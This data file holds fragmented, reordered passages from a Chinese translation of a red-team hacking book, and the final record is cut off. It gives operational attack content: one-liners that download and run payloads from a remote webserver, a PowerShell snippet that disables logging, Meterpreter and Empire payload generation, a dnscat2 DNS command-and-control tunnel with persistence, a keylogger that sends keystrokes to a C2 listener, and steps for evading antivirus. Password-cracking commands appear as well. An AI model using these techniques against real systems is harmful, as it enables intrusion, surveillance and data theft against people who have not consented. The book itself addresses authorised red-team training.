    {"text": "使用我们的 shortKrak 列表并将其与自身相结合会导致非常快速的破解： ./hashcat-utils-1.8/bin/combinator.bin lists/shortKrak.txt lists/shortKrak.txt > lists/comboshortKrak.txt 使用一些列表比如“谷歌排名 top1000单词”会生成一个约1.4 GB 的文件，因此你必须注意你选择的文件的大小。 ./hashcat-utils-1.8/bin/combinator.bin lists/google_top_1000.txt lists/google_top_1000.txt > lists/google_top_1000_combo.txt 注意：使用一个4MB 文件并运行 combinator 将导致生成体积一个大于25GB 的文件。"},
    {"text": "可以提供帮助的两个工具是： Brutescrape Burp Wordlist Extractor 接下来，使用 PACK (Password Analysis and Cracking Kit) 工具对所有破解的密码进行分析并创建掩码： python ./PACK-0.0.4/statsgen.py hashes.password python ./PACK-0.0.4/statsgen.py hashes.password --minlength=10 -o hashes.masks python ./PACK-0.0.4/maskgen.py hashes.masks --optindex -q -o custom-optindex.hcmask 译者注：本书作者给出的关于 PACK 的链接为： http://thesprawl.org/projects/pack/ ，但是你只要点了试试就会发现现在这个连接被自动跳转到 PACK 作者的博客了。 译文中的 PACK 工具的地址是译者自己在 Github 找到的，因为链接变了，所以上面的 python 语句大家根据情况做出调整。"},
    {"text": "使用新创建的掩码进行密码破解： [hashcat] -a 3 ./custom-optindex.hcmask 使用 Pipal 分析你的密码列表可以更好地理解密码的基本词汇： cd /opt/pipal ./pipal.rb hashes.password 看看这个列表，你可能会发现这家公司使用 resetme12345 作为默认密码，可能位于密歇根州（列表里有底特律、老虎、足球这些词汇）。"},
    {"text": "若你有兴趣，这里给出一些资料： PassGAN：使用深度学习方法进行密码破解 快速、精益、准确:使用神经网络建模的密码可猜测性 具有创新性的的入侵行动 作为公司的内部红队可以有机会参加具有创新性的的入侵行动。"},
    {"text": "我们一直听到的答案是，“我觉得可以......”，但如果没有红队提前验证的过程，我们最终会等到我们的房子被烧成灰后才知道是不是真的可以。"},
    {"text": "一旦恶意软件被执行，它所做的就是扫描主机和网络中的重要文件，将每个文件读入内存，执行随机字节交换，将这些字节发送到 C2 服务器，并包含元数据。"},
    {"text": "以下是一个 leechristensen 写的 示例 ，可用于禁用 PowerShell 日志记录： $EtwProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static'); $EventProvider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList @([Guid]::NewGuid()); $EtwProvider.SetValue($null, $EventProvider); 从命令行连接网络下载 Windows 文件 如果你通过应用程序漏洞获得了命令执行，又或者是通过 Office 或 PDF 文件获取了 shell，那么接下来的步骤可能是下载并执行你的辅助恶意软件。"},
    {"text": "大多数这些例子来自 arno0x0x 和 @subtee 的卓越的研究成果（ https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code ）。"},
    {"text": "mshta vbscript:Close(Execute(“GetObject(““script: http://webserver/payload.sct ””)”)) mshta http://webserver/payload.hta rundll32.exe javascript:\"..\\mshtml,RunHTMLApplication\";o=GetObject(\"script: http://webserver/payload.sct\");window.close( ); regsvr32 /u /n /s /i: http://webserver/payload.sct scrobj.dll certutil -urlcache -split -f http://webserver/payload payload certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil /logfile= /LogToConsole=false /u payload.dll certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe 这些只是其中几个例子，还有更多通过命令行来执行辅助代码的方法。"},
    {"text": "decoder-it 创建了一个非常棒的 PowerShell 脚本，通过创建一个新进程并将该新进程的父进程 PID 设置为 System 所拥有，从而让本地管理员权限的 PowerShell 提示符转到 System 权限。"},
    {"text": "执行以下操作： PS> . .\\psgetsys.ps1 PS>[MyProcess]::CreateProcessFromParent( , ) 在不触及 LSASS 的情况下检索 NTLM 哈希值 Elad Shamir 对怎样在不对 lsass.exe 进程进行操作的情况下抓取 NTLM 哈希进行了广泛的研究。"},
    {"text": "Elad 开发了一种称为 Internal Monologue Attack 的攻击，它执行以下操作： 如上所述，通过将 LMCompatibilityLevel 、 NTLMMinClientSec 和 RestrictSendingNTLMTraffic 更改为适当的值来禁用 NetNTLMv1 的预防性控制。"},
    {"text": "[ https://github.com/eladshamir/Internal-Monologue ] 译者注 参考资料： Windows 下的密码 hash——Net-NTLMv1 介绍 使用防御工具构建训练和监控的实验环境 测试我们的恶意软件的一个很大挑战是我们需要建立一个快速测试的环境。"},
    {"text": "Detection Lab 由四个主机组成（ https://medium.com/@clong/introducing-detection-lab-61db34bed6ae ）： DC：一个 Windows 2016域控制器 WEF：管理 Windows 事件集合（Windows Event Collection）的 Windows 2016服务器 Win10：模拟非服务器端点的 Windows 10主机 Logger：运行 Splunk 和一个 Fleet 服务器的 Ubuntu 16.04主机 本章总结 对于红队来说，窍门和技巧是我们入侵艺术的一部分。"},
    {"text": "第10章 赛后——分析报告 第10章 赛后——分析报告 第10章 赛后——分析报告 译者： @Snowming 在之前的 THP 书籍中，我们有介绍如何编写渗透测试报告的示例，并提供了大量报告模板。"},
    {"text": "在我看来，因为我们可能会在一个完整的红队活动中多次尝试进入一个内网环境(且被抓住几次)，所以我们想要把好的方面和不好的方面都在报告中都展示出来。"},
    {"text": "例如，有些客户要求我们访问特定的数据、获得域管理权限、获取 PII（个人身份信息）、获取 IP 或在找到他们的生产环境的服务器的标志（flag）。"},
    {"text": "因此，我们希望给出C2服务器的IP地址、使用的域名、二进制文件的 MD5/SHA1 哈希、电子邮件地址和 IP 信息、被钓鱼的受害者列表以及任何其他可能有助于取证/应急响应团队的信息。"},
    {"text": "我想知道的是，他们是否觉得自己遵守了安全政策，事件负责人是否推动了调查，管理层是否过度介入，安全部门如何与 IT 部门进行安全方面的互动，从而促进任何与 IT 相关的改变（防火墙屏蔽、DNS 修改等等）。"},
    {"text": "如前所述，红队的目的不是寻找漏洞或破坏环境（尽管这是非常有趣的部分），而是改善客户组织的整体安全程序和规划并证明其环境中存在某些漏洞。"},
    {"text": "第1章 赛前准备——安装 第1章 赛前准备——安装 第1章 赛前准备——安装 译者： @Snowming 作为红队人员，我们通常不太关注某次攻击的目的（更关注的是攻击手法）。"},
    {"text": "商用 ATT&CK 矩阵 - Windows版 译者注： 上面的矩阵仅仅包扩适用于 Windows 平台的技术。 完整的商用 Enterprise ATT＆CK 矩阵也包括适用于 macOS 和 Linux 平台的技术。"},
    {"text": "是从数据库中获取数据吗?或者只是为了得到检测时效(TTD)指标? 是否有我们想要复制的公开活动? 你会用什么技巧?我们讨论过用 MITRE ATT&CK 矩阵，但是在每个类别中确切的技术是什么? 红金丝雀研究小组 提供了每一种技术的详细信息。"},
    {"text": "下面是操作要点： https://lightsail.aws.amazon.com/ 创建一个实例 我强烈建议至少使用1gb内存 硬盘大小一般不会有什么问题，可以随意选择 Linux/Unix 操作系统只选 -> Ubuntu 下载 Cert(证书) chmod 600 cert(译者注:只有拥有者有读写权限) ssh -i cert ubuntu@[ip] 搭建服务器的一个快速方法是集成 TrustedSec 公司的渗透测试框架 (PTF)。"},
    {"text": "让我们通过一个快速示例来安装我们所有的漏洞利用模块，信息收集模块，后渗透利用模块，PowerShell 攻击模块和漏洞分析工具： sudo su - apt-get update apt-get install python git clone https://github.com/trustedsec/ptf /opt/ptf cd /opt/ptf && ./ptf use modules/exploitation/install_update_all use modules/intelligence-gathering/install_update_all use modules/post-exploitation/install_update_all use modules/powershell/install_update_all use modules/vulnerability-analysis/install_update_all cd /pentest 下图显示了所有的可用模块，其中一些模块是我们自己安装的。"},
    {"text": "因为这将是你的攻击服务器，所以最好限制 SSH 身份验证可以从何处发起， Empire/Meterpreter/Cobalt Strike的 payload 可以从何处发起，以及你所支持的任何钓鱼页面。"},
    {"text": "如果你还记得在2016年末，有人发现了未经身份验证的远程代码执行(RCE) ( https://blog.cobaltstrike.com/2016/09/28/cobalt-strike-rce-active-exploitation-reported/ )。"},
    {"text": "请记住，作为一个红队成员，我们的目的不是破坏环境(虽然这是最有趣的)，而是要复制现实世界的攻击，以查看客户是否受到保护，并可以在很短的时间内检测到攻击。"},
    {"text": "对于红队项目，我们可能使用 Metasploit 通过 MS17-010永恒之蓝漏洞 危害内部系统，以获得我们的第一个内网 shell,或者我们可能使用 Metasploit 为我们的社会工程攻击生成一个 Meterpreter payload。"},
    {"text": "但是，一个潜在的问题是我们可能无法包含 Meterpreter 的 payload 的二进制文件或让目标机器从 Web 下载我们的 payload，因为这些操作可能会触发目标机器中的杀毒软件的警报。"},
    {"text": "所以，这里给出一个简单的解决方案，使用 PowerShell 进行模糊处理： msfvenom -payload windows/x64/meterpreter_reverse_http -format psh -out meterpreter-64.ps1 LHOST=127.0.0.1 我们甚至可以将混淆提升到新的水平，并使用 Unicorn 等工具生成更多模糊的基于 PowerShell 的 Meterpreter payload，我们将在本书中详细介绍这些混淆器。"},
    {"text": "此外，使用受信任的机构签发的 SSL/TLS 证书可以帮助我们绕过某些网络中的 IDS（入侵检测系统），具体可以参考以下链接实现： Meterpreter Paranoid Mode 。"},
    {"text": "用一个比较抽象的例子来说，你的所有流量将被发送到 CloudFront 的一个主要完全限定域名(FQDNs)，例如 a0.awsstatic.com，它是 CloudFront 的主要域名。"},
    {"text": "修改请求中的主机 header 将把所有流量重定向到我们的 CloudFront 分发(CloudFront distribution)，后者最终会将流量转发到我们的 Cobalt Strike C2服务器上( 参考链接 )。"},
    {"text": "另外两个支持域名前置的两个不同公司的优秀资源 ： CyberArk 还写了一篇很好的博客文章，在 文章 里他介绍了如何使用谷歌的应用产品来使你的流量看起来是流经了 www.google.com, mail.google.com 或者 docs.google.com. Vincent Yiu 写了一篇关于如何使用阿里巴巴 CDN 来支持自己的域名前置攻击的 文章 。"},
    {"text": "这允许你让一台受感染的计算机与你的 C2 服务器进行正常且合适的 beacon 连接，并使内部网络上的所有其他的服务器通过 SMB 协议与最初受感染的主机进行通信。"},
    {"text": "阅读这个例子，你会看到一些显而易见的信息： 我们可以看出这将会产生带有URI路径的HTTP请求： set uri “/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books”; 主机 header 设置为 Amazon： header “Host” “www.amazon.com”; 甚至一些自定义服务器的 header 也从 C2 服务器发回： header “x-amz-id-1” “THKUYEZKCKPGY5T42PZT”; header “x-amz-id-2” “a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2t 现在很多红队已经在许多不同的活动中使用了这些配置文件，许多安全厂商已经给 所有常见的自定义配置文件 创建了指纹签名。"},
    {"text": "为了解决这个问题，我们能做的是: 确保修改了配置文件中的所有静态字符串，确保更改了所有 User-Agent 信息，使用真实的证书配置 SSL（不要使用 Cobalt Strike 默认的 SSL 证书），调整抖动率，并更改客户端的的 beacon 时间。"},
    {"text": "SpectorOps 安全团队还创建了可定制混淆 C2 配置文件的 项目 . 译者注: 这个脚本可以将 Cobalt Strike 的配置文件进行混淆来绕过一些基于签名检测的软件，其原理是将变量替换为提供的字典中的随机字符串，然后输出新的 Malleable C2 配置文件。"},
    {"text": "开发它的目的有两个： 你可以创建长时间运行的机器人来模拟虚拟红队成员，并与你并肩进行黑客攻击 你还可以根据你的需要使用它来扩展和修改 Cobalt Strike 客户端的功能 官方介绍页面： https://www.cobaltstrike.com/aggressor-script/index.html 例子：HarleyQu1nn 将不同的 Aggressor 脚本放在一个项目中提供给你用于后续漏洞利用： http://bit.ly/2qxIwPE PowerShell Empire Empire 是一个后期漏洞利用的框架，包含一个纯 PowerShell2.0 的 Windows 代理和一个纯 Python 2.6/2.7 的 Linux/OS X 代理。"},
    {"text": "运行 Empire： 初始化 Empire cd /opt/Empire && ./setup/reset.sh 退出 exit 安装证书（最好是使用真实受信任的证书） ./setup/cert.sh 开始运行 Empire ./empire 创建一个监听器 listeners 选择你的监听器类型（我们实验使用的是 HTTP） uselistener [按两次 tab 键来查阅所有类型的监听器] uselistener http 查看监听器的全部配置信息 info 设置以下内容（即设置KillDate 12/12/2020） KillDate - 规定一个结束时间然后自动清理代理 DefaultProfile - 确保更改所有端点（即/admin/get.php,/news.php）。"},
    {"text": "Host - 更改为通过端口443的 HTTPS CertPath - 添加 SSL 证书的路径 UserAgent - 将其更改为你的常用用户代理 Port - 设置为443 ServerVersion - 将其更改为另一个常见的服务器 Header 当你完成所有这些，开启你的监听器 execute 配置 Payload payload 是将在受害者系统上运行的实际恶意软件。"},
    {"text": "我们将创建一个简单的 bat 文件作为示例，但实际上你可以为 Office 文件创建宏或者为一个 USB 橡皮鸭创建 payload（译者注： USB 橡皮鸭/USB RUBBER DUCKY 是最早的按键注入工具） usestager [按两次tab键来查阅所有不同的类型] usestager windows/launcher_bat 查看所有设置 info 配置所有 Settings http 把 Listener 设置为 http 配置 UserAgent(用户代理) 创建 Payload generate 在另一个终端窗口中查看你的 payload cat /tmp/launcher.bat 如你所见，创建的 payload 被严重混淆。"},
    {"text": "当然，你可能会创建一个 Office 宏文件或一个USB橡皮鸭（注：USB RUBBER DUCKY/USB 橡皮鸭是最早的按键注入工具）的 payload，但这只是众多示例中的一个。"},
    {"text": "在 Kali 上安装 PowerShell： apt-get install libunwind8 wget http://security.debian.org/debian-security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb dpkg -i libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-7ubuntu0.3_amd64.deb dpkg -i libicu55_55.1-7ubuntu0.3_amd64.deb wget https://github.com/PowerShell/PowerShell/releases/download/v6.0.2/powershell_6.0.2-1.ubuntu.16.04_amd64.deb dpkg -i powershell_6.0.2-1.ubuntu.16.04_amd64.deb dnscat2 内网出口一般对出站流量做了严格限制，但是通常不会限制 DNS 请求，也就是 UDP 53 请求。"},
    {"text": "dnscat2 就是一款利用 DNS 协议创建加密 C2 隧道来控制服务器的工具，所以说这种隧道几乎在每个网络中都可以使用。 dnscat2 由客户端和服务端两部分组成 。"},
    {"text": "先设置两条 A 记录指向你的 VPS 的 IP ns1 (然后输入你的VPS的IP) ns2 (然后输入你的VPS的IP) 然后设置自定义 NS 记录 添加 ns1.loca1host.com 添加 ns2.loca1host.com 如上图所示，我们现在让我们的 NS 记录指向 ns1.loca1host.com 和 ns2.loca1host.com，它们都指向我们的攻击 VPS 服务器的 IP。"},
    {"text": "初始化并设置 dnscat2 服务器： sudo su - apt-get update apt-get install ruby-dev git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server/ apt-get install gcc make gem install bundler bundle install 请测试确认以下脚本能够正常运行: ruby ./dnscat2.rb 备注: 如果你使用的是 Amazon Lightsail，请确保安全组设置中允许 UDP 端口53 对于客户端的代码，我们需要将其编译为 Linux 支持执行的二进制文件。 编译客户端 git clone https://github.com/iagox86/dnscat2.git /opt/dnscat2/client cd /opt/dnscat2/client/ make 我们现在应该创建一个 dnscat 二进制文件！ (如果你在 windows 环境下编译，需要将 client/win32/dnscat2.vcproj 加载到 Visual Studio 并点击 “build” ) 现在我们已经配置好了权威 DNS，我们的攻击服务器作为一个 DNS 服务器正在运行 dnscat2，并且我们已经编译了恶意软件。"},
    {"text": "在你的攻击服务器中启用 dnscat2: screen ruby ./dnscat2.rb loca1host.com —secret 39dfj3hdsfajh37e8c902j 假设你在易受攻击的服务器上有某种 RCE（远程命令执行漏洞）。"},
    {"text": "执行 payload： ./dnscat loca1host.com —secret 39dfj3hdsfajh37e8c902j 这将在目标机器中启动 dnscat，域名查询使用了我们自定义的的权威服务器，从而创建我们的 C2 通道。"},
    {"text": "为此，我通常喜欢使用快速 bash 脚本启动我的 dnscat payload： nohup /bin/bash -c “while true; do /opt/dnscat2/client/dnscat loca1host.com -secret 9dfj3hdsfajh37e8c902j -max-retransmits 5; sleep 3600; done” > /dev/null 2>&1 & 这将确保如果客户端 payload 进程因任何原因而挂掉了，它将每小时生成一个新的实例。"},
    {"text": "我们可以通过与我们的命令会话交互来生成终端样式 shell: 与我们的第一个命令会话进行交互 window -i 1 启动shell会话 shell 回到主会话 Ctrl-z 与 2 会话进行交互 window -i 2 现在，你应该能够运行所有 shell 命令（例如 ls） 虽然这不是最快的shell，但由于所有通信都是通过 DNS 进行的，因此它确实可以在一些 Meterpreter 或类似 shell 无法正常工作的情境下生效。"},
    {"text": "这样，如果我们想要使用来自我们的主机系统的漏洞利用模块，我们可以通过隧道和浏览器来访问其内部网站，甚至是 SSH 连接到另外的机器中，这一切都是可能的。"},
    {"text": "dnscat2 隧道 我们有很多时候想要将来自攻击服务器的流量通过我们的受感染主机传递到其他内部服务器。 使用 dnscat2 执行此操作的最安全方法是通过本地端口转发我们的流量，然后将流量通过隧道传输到内部网络上的其他机器上。"},
    {"text": "我们可以通过命令会话中的以下命令来完成此示例： listen 127.0.0.1:9999 10.100.100.1:22 创建隧道后，我们可以返回攻击计算机上的根终端窗口，通过本地的 9999 端口使用 SSH 连接到 localhost，然后成功连接到受害者网络上的内部系统并进行身份验证。"},
    {"text": "译者注：这里如果看不懂，可以看看这篇文章加深理解 -> 使用SSH反向隧道进行内网穿透 这将提供各种各样的乐趣和一个很好的测试，来看你的客户的网络是否可以主动检测大量 DNS 查询和溢出。"},
    {"text": "例如，Nishang 有一个基于 PowerShell 的 ICMP Shell( http://bit.ly/2GXhdnZ )，它使用 https://github.com/inquisb/icmpsh 作为 C2 服务器。 还有其他 ICMP shell，如: https://github.com/jamesbarlow/icmptunnel https://github.com/DhavalKapil/icmptunnel http://code.gerade.org/hans/ p0wnedShell 正如 p0wnedShell 的 Github 页面所述，这个工具是“用 C＃ 编写的进攻型 PowerShell 主机应用程序，它不依赖于 powershell.exe，而是在 powershell 运行空间环境（.NET）中运行 powershell 命令和函数。"},
    {"text": "我们尝试的是建立一个‘一体化’的后渗透利用工具，我们可以使用它来绕过所有保护措施（至少是其中一些），p0wnedShell 中包含了所有的相关工具。"},
    {"text": "注: 此句话出处为： Russel Van Tuyl, \"Merlin - 跨平台后持续利用 HTTP/2 C2 工具\", Medium[Online], 发表于2017年12月19日, 可获取地址： https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a 检索于 2019 年 2 月 27 日 Merlin 是一个用 GO 编写的工具，外观和感觉类似于 PowerShell Empire，并且允许使用轻量级代理。"},
    {"text": "新的内容包括一些过去几年提出来的新话题: 利用活动目录 利用 Kerberos 协议 高级 Web 攻击 更好的横向移动方式 云计算相关漏洞 更快/更高效的密码破解 Living off the land 技术（意思是入侵者使用系统凭据和合法的软件管理工具访问系统，感染和收集有价值的数据） 内网漫游攻击 多个定制的实验 较新的 Web 语言漏洞 物理攻击 特权升级 PowerShell 攻击 勒索软件攻击 红队 VS 渗透测试 建立红队基础设施 可用的红队指标 编写恶意软件和免杀 以及更多 此外, 我还试图采纳所有从第一版和第二版书的读者那里收到的评论和建议。"},
    {"text": "所以我写这本书有两个目的: 第一, 让读者理解攻击者的思维方式，了解攻击的 \"方式\"; 第二, 我想让习得学到的工具和技术, 并且扩展他们。"},
    {"text": "想要与其绞尽脑汁的写简历 (当然, 你肯定需要准备一个简历), 还不如你的 Github 有丰富的内容，很多公共 Github 项目或者安全方面有影响力的技术博客。"},
    {"text": "我也花了多年的时间在大学教攻击性的网络安全, 在多个安全会议上发言,在许多安全出版物中引用, 在全国各地教授的课程, 运行了多个公开的 ctf 比赛, 并开始了我自己的安全学校。"},
    {"text": "为了个人能更好的继续学习发展，有很多漏洞奖励计划和靶场可以供你学习试验，但是请记住，即使是参加漏洞奖励计划，私自测试范围外的网站或对网站进行深入破坏也会让你有大麻烦。"},
    {"text": "下面就是一些前车之鉴供你参考： https://www.forbes.com/sites/thomasbrewster/2015/12/17/facebook-instagram-security-research-threats/#1d2a0f062fb5 https://nakedsecurity.sophos.com/2012/02/20/jail-facebook-ethical-hacker/ https://www.cyberscoop.com/dji-bug-bounty-drone-technology-sean-melia-kevin-finisterre/ 如果你感觉你的某个渗透行为可能不太合适，很可能你的确违反了一些网络安全法律法规，你必须请教专业律师或者联系 电子前沿基金会 。"},
    {"text": "第7章 四分卫突破——逃避杀毒软件和网络检测 第7章 四分卫突破——逃避杀毒软件和网络检测 第7章 四分卫突破——逃避杀毒软件和网络检测 译者： @Snowming 为红队行动编写工具 红队人员和渗透测试人员比较明显的区别之一就是红队人员能快速的适应并理解不同的防护。"},
    {"text": "无论是理解低级语言（机器代码和汇编语言），编写 shellcode ，创建自定义的 C2 二进制可执行文件，还是修改代码来隐藏恶意程序，它们都是我们（红队）日常工作的一部分。"},
    {"text": "在一个虚拟机中安装 Windows 10 安装 Visual Studio ，以便你可以使用命令行编译器和使用 Vim 进行代码编辑 到目前为止，Windows API 编程的最佳学习资源是微软自己的开发者网络网站 MSDN 。"},
    {"text": "对于学习 C 语言，有一本好书，C 语言的创始人之一参与了对此书的撰写，名为《C语言程序设计》（The C Programming Language），书的作者是 Kernighan 和 Ritchie。"},
    {"text": "实验室将使用微软的 Optimizing Compiler 编译代码，该编译器随 Visual Studio 社区版本一起提供，并内置于 Visual Studio 开发者命令提示符（Visual Studio Developer Command Prompt）中。"},
    {"text": "在命令提示符中，切换到目录 “ C:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\Community\\VC\\Auxiliary\\Build ” ，注意，这个目录可能会因为你的 Visual Studio 版本而改变（但是大致是以上目录）。"},
    {"text": "SetWindowsHookEx 的函数原型看起来像这样（ http://bit.ly/2qBEzsC ）： HHOOK WINAPI SetWindowsHookEx ( _In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId ) ; 该函数创建了定义为整型的 hook 的 ID、指向函数的指针、句柄和线程 ID。"},
    {"text": "LowLevelKeyBoardProc （ http://bit.ly/2HomCYQ ）的原型如下所示： LRESULT CALLBACK LowLevelKeyboardProc ( _In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam ) ; 让我们回顾一下 LowLevelKeyBoardProc 所需的内容。"},
    {"text": "最后，挂钩键盘的初始架构代码如下所示： https://github.com/cheetz/ceylogger/blob/master/skeleton 在查看框架代码时，需要注意的一些事项是，在回调函数中包含 pragma comment （预处理指令），消息循环和返回 CallNextHookEx 行。"},
    {"text": "MSDN 声明，“此钩子在安装它的线程的上下文中调用。 通过向安装了钩子的线程发送消息来进行调用。 因此，安装钩子的线程必须有一个消息循环。"},
    {"text": "“[ http://bit.ly/2HomCYQ ] 返回 CallNextHookEx 是因为 MSDN 声明 “ 调用 CallNextHookEx 函数链接到下一个钩子过程是可选的，但强烈建议调用，否则已安装钩子的其他应用程序将不会收到钩子通知，因此可能会出现错误行为。"},
    {"text": "ToAscii 函数将包含 vkCode ，一个 ScanCode ，一个指向键盘状态数组的指针，一个指向将接收该字母的缓冲区的指针，以及一个 uFlags 的 int 值。 vkCode 和 ScanCode 来自按键结构体，键盘状态是先前声明的字节数组，用于保存输出的缓冲区， uFlags 参数将设置为0。"},
    {"text": "对于服务器端，可以在 C2 服务器的3490 端口上的启动 socat 侦听器，命令启动： socat：socat - TCP4-LISTEN:3490,fork 一旦启动监听器并且键盘记录器正在运行，你应该看到来自受害者主机的所有命令每 10 分钟被推送到你的 C2 服务器。"},
    {"text": "解密函数如下所示： int decrypt ( const char * string , char result[]) { int key = 6 ; int len = strlen ( string ); for ( int n = 0 ; n < len; n++) { int symbol = string [n]; int e_symbol = symbol - key; result[n] = e_symbol; } result[len] = ‘\\ 0 ’; return 0 ; } 你可以在此处的程序版本2中看到此示例： https://github.com/cheetz/ceylogger/tree/master/version2 。"},
    {"text": "为此，首先编写一个函数定义，然后使用 Windows 系统的 GetProcAddress 函数找到要调用的函数的地址，最后将函数定义指针指定给从 GetProcAddress 接收的地址。"},
    {"text": "可以在此处找到如何使用函数指针调用 SetWindowsHookEx 函数的示例： https://github.com/cheetz/ceylogger/blob/master/version3/version_3.c#L197-L241 。"},
    {"text": "对于我们的 payload，以下是 VirusTotal 比较： 对于版本1，32位，21/66（21家检测出），触发杀毒软件： https://www.virustotal.com/#/file/4f7e3e32f50171fa527cd1e53d33cc08ab85e7a945cf0c0fcc978ea62a44a62d/detection http://bit.ly/2IXfuQh 对于版本3，32位，14/69（14家检测出），触发杀毒软件： https://www.virustotal.com/#/file/8032c4fe2a59571daa83b6e2db09ff2eba66fd299633b173b6e372fe762255b7/detection http://bit.ly/2IYyM7F 最后，如果我们将版本3编译为 64 位的 payload，我们得到 1/69（仅仅一家检测出）！"},
    {"text": "： https://www.virustotal.com/#/file/e13d0e84fa8320e310537c7fdc4619170bfdb20214baaee13daad90a175c13c0/detection http://bit.ly/2JNcBmc 译者注：根据上面的链接，译者点进去看了每一个数据，但是发现数据都有所更新，所以把上面的内容修改为和链接到的内容一致的最新数据。"},
    {"text": "下面的图片是说，将版本3编译为 64 位的 payload，得到 0/66（无一家一家检测出）的结果，但是现在已经是 1/69，也就是 69 个杀软种有一个可以检测出病毒。"},
    {"text": "本书定制的挂钩病毒（Dropper） Dropper（挂钩病毒）是红队工具包的重要组成部分，允许你在不把程序放在受害者计算机磁盘上的情况下运行你植入的程序。"},
    {"text": "在网上也可以找到很多可以用的 shellcode，像 shell-storm.org 这样的网站会保存为特定目的而编写的 shellcode 存档，其中一些可能会为你的入侵活动派上用场。"},
    {"text": "在本书自定义的 Kali 镜像上，你需要运行以下命令： 对于首次编译： cd /opt/ sudo apt-get install build-essential libssl-dev cmake git git clone https://github.com/cheetz/thpDropper.git cd thpDropper/thpd mkdir build cd build cmake .. make 对于后续编译，你需要做的就是： cd /opt/thpd/build make 要运行服务器，在编译它之后，你需要输入： ./thpd [path to shellcode/DLL] [loadtype] 以下值当前对加载类型有效： 0 Shellcode 这会将原始的汇编 shellcode 字节发送到客户端 1 DLL 这会发送一个普通的的 DLL 文件，以反射方式加载到客户端中 虽然这些 payload（shellcode / DLL）可能是来自任何类型的 C2 工具（Metasploit/Meterpreter，Cobalt Strike 等），但是我们在示例中仅仅使用一个 Meterpreter payload。 生成一个 payload ： 对于 Shellcode payload ： msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST= LPORT=\\ EnableStageEncoding=True -f c 注意，你必须使用 msfvenom 的输出，并且仅仅使用原始的汇编 shellcode（删除引号、新行和任何非 shellcode 的内容）。 启动服务器：./thpd ./shellcode.txt 0 对于 DLL payload ： msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST= LPORT=\\ EnableStageEncoding=True -f dll > msf.dll 启动服务器: ./thpd ./msf.dll 1 客户端 客户端以与服务器类似的方式运行，其中它为每种消息类型注册了一个处理程序（handler）。"},
    {"text": "虽然你不需要更改数据包签名，但我还是得说一下：更改数据包签名将修改发送的每个数据包的前 2 个字节，用于标识它是服务器上的有效连接。"},
    {"text": "在这些函数中，你必须从 recv 缓冲区中读取包和相关数据。 你需要调用 recv() 来指向数据包结构上的指针，以及该数据包的大小。 这将提供关于需要从 recv 缓冲区中拉取多少数据的信息。"},
    {"text": "如果要将包含文件路径的字符串发送到受害者计算机上的某个文件，你需要在处理程序的数据包中设置一个字段，用于描述字符串的长度，你将在发送完数据包之后发送该字符串。"},
    {"text": "其次，我们修改 metsvc 持久性模块以防止它标记反病毒。 第三，我们用 Clang 编译部分 metsrv （实际的 Meterpreter payload），以防止它也标记反病毒签名。"},
    {"text": "使用 Clang 编译 metsrv （ Meterpreter 的网络服务包装器）并删除 metsrv/metsvc-server 引用： http://bit.ly/2H2kaUB 修改Payload，删除像 Mimikatz 这样的字符串： http://bit.ly/2IS9Hvl 修改反射 DLL 注入以删除像 ReflectiveLoader 这样的字符串： http://bit.ly/2qyWfFK 许多网络产品会检测 Meterpreter 的0/1/2级加载器。"},
    {"text": "一个例子是遍历所有 Ruby 文件以获取不同的 payload 类型，并添加随机空指令滑行区（nop sled）以避免被检测到： 译者注：一个空指令雪橇(NOP sled)(也被称为空指令滑行区)是在 shellcode 之前的一段很长的指令序列。"},
    {"text": "参考资料: 空指令雪橇 http://bit.ly/2JKUhdx 自定义 Stage0 payload： http://bit.ly/2ELYkm8 实验： 在本实验中，我们将采用所有我们修改过的 Metasploit/Meterpreter 代码，重新编译它，并确保它可以躲避基本的杀毒软件检测。"},
    {"text": "在开始之前，请查看搭建 Metasploit 的环境设置： https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment Windows 要求： Visual Studio 2013（VS2013）—— 社区版就行。"},
    {"text": "然后我们需要下载框架和所有 payload： git clone https://github.com/cyberspacekittens/metasploit-framework cd metasploit-framework && git submodule init && git submodule update && cd .. git clone https://github.com/cyberspacekittens/metasploit-payloads cd metasploit-payloads && git submodule init && git submodule update && cd .. 虽然我们已经对仓库做了包括修改字符串、用 clang 编译和为 payload 添加随机空指令滑行区等这些更改，但请务必检查这两个仓库之间的 Metasploit 差异，以明确具体的更改内容。"},
    {"text": "在 Visual Studio 2013 的开发者命令提示符 VS2013（Command Prompt for VS2013）中执行以下操作： 转到我们修改的 metsvc 的源码所在的文件夹： cd metasploit-framework\\external\\source\\metsvc\\src 使用 make 进行编译： “C:\\Program Files (x86)\\GnuWin32\\bin\\make.exe” 将我们新创建的二进制文件移到我们的 meterpreter 文件夹： copy metsvc.exe ........\\data\\meterpreter\\ copy metsvc-server.exe ........\\data\\meterpreter\\ 接下来，修改我们的 Meterpreter payload 并使用提供的 .bat 文件对其进行编译： cd metasploit-payloads\\c\\meterpreter make.bat 编译完所有内容后，将生成两个文件夹（x86 和 x64）。 将所有已编译的 DLL 复制到 meterpreter 文件夹： copy metasploit-payloads\\c\\meterpreter\\output\\x86* metasploit-framework\\data\\meterpreter copy 